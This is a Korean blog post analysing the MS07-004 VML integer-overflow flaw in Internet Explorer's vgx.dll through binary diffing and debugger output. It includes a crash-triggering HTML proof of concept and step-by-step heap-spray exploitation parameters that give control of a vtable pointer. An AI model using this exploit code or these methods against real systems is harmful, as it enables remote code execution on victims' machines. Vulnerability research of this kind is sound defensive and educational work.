Mafia의 진실
Mafia의 진실 2010.02.10

낚시성 제목에 방문하신 분께는 죄송합니다. 이 글은 오래전부터 twitter 사용자들을 대상으로 퍼져나가고 있는 'Mobster world'라는 온라인 MMORPG 게임과 관련된 글입니다. 트위터 사용자 분들 중에는 위와 유..

iPhoto 슬라이드 쇼

트위터에 질문이 하나 올라와 짧게 작성해봤습니다. iPhoto에서 슬라이드 쇼 생성하는 방법입니다. 1. 먼저 사진 메뉴에서 슬라이드 쇼에 추가할 사진을 선택합니다. 사진 선택은 Command 키와 마우스를 이용합니다. 2...

노키아에서 동작하는 Mac OS X 10.3

핀란드에 사는 Toni Nikkanen이라는 분이 자신의 Nokia N900 모델에 Mac OS 10.3 Panther를 설치하고 실행시키는데 성공했다고 합니다. Toni의 블로그에 가보니 Mac OS X 말고도 Windows..

분석에 도움되는 주요 내용들만 올렸습니다. 블로그 내용외의 질문은 별도로 해주세요.

개요
MS Security Bulletin에 공개된 정보는 아래와 같습니다.

사용자 삽입 이미지

굳이 취약점의 유형을 분류하자면 wrap around에 의한 integer overflow로 분류할 수 있겠습니다.취약점으로 인해 힙 영역에서 오버플로우가 유발되어 Virtual function table을 덮어쓰는 것이 가능합니다.


바이너리 디핑


패치 대상
MS07-004 패치 대상은 vgx.dll 입니다. 패치가 이루어진 vgx.dll의 버전은 한글 XP를 기준으로 6.0.2900.3051 입니다.

패치 히스토리 검토
VML에 관한 마지막 패치는 MS06-055에서 이루어졌습니다. MS06-055 취약점이 패치된 vgx.dll의 버전은 한글 xp를 기준으로 6.0.2900.2997 입니다.

바이너리 디핑 결과
가난한 관계로 EBDS를 사용하였습니다. BinDiff 기증해주시면 1년 내내 취약점 분석해 드리겠습니다. ^^;; (BinDiff를 써보고 싶은 1인)

아래는 디핑 결과입니다..

사용자 삽입 이미지



 CVMLRecolorinfo의 멤버함수인 InternalLoad에 취약점이 존재합니다. Match rate는 0.9677 입니다. 디핑 그래프는 아래와 같습니다.


사용자 삽입 이미지


전형적인 오버플로우 패치의 모습을 보입니다. 패치된 코드 내용을 분석하면 아래와 같습니다.

사용자 삽입 이미지


취약점 검증 및 익스플로잇 작성

취약점을 분석하기 위해 사용한 html 페이지입니다.  이 전에 몇가지 분석 작업이 더 있었습니다만, 다음의 주석만으로도 충분히 이해가능하리라 봅니다.

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">
<!-- 실험결과 numcolors 값이 2ch와 곱해집니다. 이 값이 충분히 크면 -->
<!-- integer overflow가 발생합니다. -->
<!-- 사용된 값은 0x5D1745D + 2 입니다. -->
<!-- 확인결과 recolorinfoentry의 사이즈가 2ch입니다. 위에서 2개의 recolorinfoentry를 -->
<!--위한 공간만 할당하도록 유도하였으므로 3개의 엔트리만으로도 오버플로우가 -->
<!--가능합니다. 역시 분석 결과 오버라이팅되는 부분에 VTBL이 존재함을 알 수 -->
<!--있었습니다.-->

<!-- 각각의 속성 값은 식별을 위해 고유하게 부여하였습니다. -->
<v:recolorinfoentry tocolor="rgb(1,2,3)" recolortype="43690"
lbcolor="rgb(4,5,6)" forecolor="rgb(7,8,9)" backcolor="rgb(10,11,12)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(13,14,15)" recolortype="48059"
lbcolor="rgb(16,17,18)" forecolor="rgb(19,20,21)" backcolor="rgb(22,23,24)"
fromcolor="rgb(25,26,27)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(28,29,30)" recolortype="52428"
lbcolor="rgb(31,32,33)" forecolor="rgb(34,35,36)" backcolor="rgb(37,38,39)"
<v/recolorinfo>
</html>

JIT를 ollydbg로 설정한 후 위 페이지를 오픈한 결과입니다.

사용자 삽입 이미지
Access violation이 발생했음을 알 수 있습니다. 익셉션을 유발시킨 명령어는 0x7CE03634에 있는 CALL DWORD PTR DS:[ECX+10] 이며 이 코드는 mshtml.dll에 위치하고 있습니다. 약간의 리버싱 경험이 있으신 분이라면 이 코드가 가상함수를 호출하는 코드 임을 쉽게 아실 수 있으실 것입니다. 물론 ECX에는 가상함수테이블의 시작주소가 담겨져 있습니다. 또한 우측의 레지스터 윈도우를 보시면 ECX의 값이 CCCC0000임을 확인할 수 있는데 이로서 세번째 recolorinfoentry의 recolortype 속성을 이용하여 ECX의 상위 4bytes를 컨트롤 할 수 있음을 알 수 있습니다. (52428은 0xCCCC 입니다.) 결국 가상함수테이블의 주소를 마음대로 조작할 수 있다는 이야기죠.

익스플로잇 방법
힙스프레이 기법을 이용하면 됩니다. NOP sled로는 적당한 사이즈의  0x05050505.....를 사용하고 그 뒤에 쉘코드를 붙인 후 힙에 뿌렸습니다. (0x05050000 번지 위까지 채웠습니다.) 그 다음 overflow를 유발시키기 위해 numcolors의 값은 97612895(0x5D1745F)를 사용하였고 세 개의 recolorinfoentry만 사용하였으면 ECX의 값을0x05050000이 되도록 조작하기 위해 세번째 엔트리의 recolortype 값을 1285로 설정하였습니다. milw0rm에 LifeAsaGeek님께서 작성하신 PoC가 있으니 참고하시면 될 듯합니다. (최종 모양은 약간 다릅니다)  위에서 분석에 사용되었던 html 페이지를 적당히 수정하고 앞부분에 힙스프레이 하는 부분만 완성하시면 끝!

Posted by zesrever

BLOG main image
Slow but Steady, Broad and Deep ... by zesrever

공지사항

카테고리

분류 전체보기 (44)
Digital Forensics (4)
Reverse Engineering (21)
Vulnerability (2)
Secure Coding (0)
Book Story (1)
Digital Life (7)
My Life (7)
세미나자료 (1)
개인용 (0)
Musics (0)
Total : 248,586
Today : 57 Yesterday : 48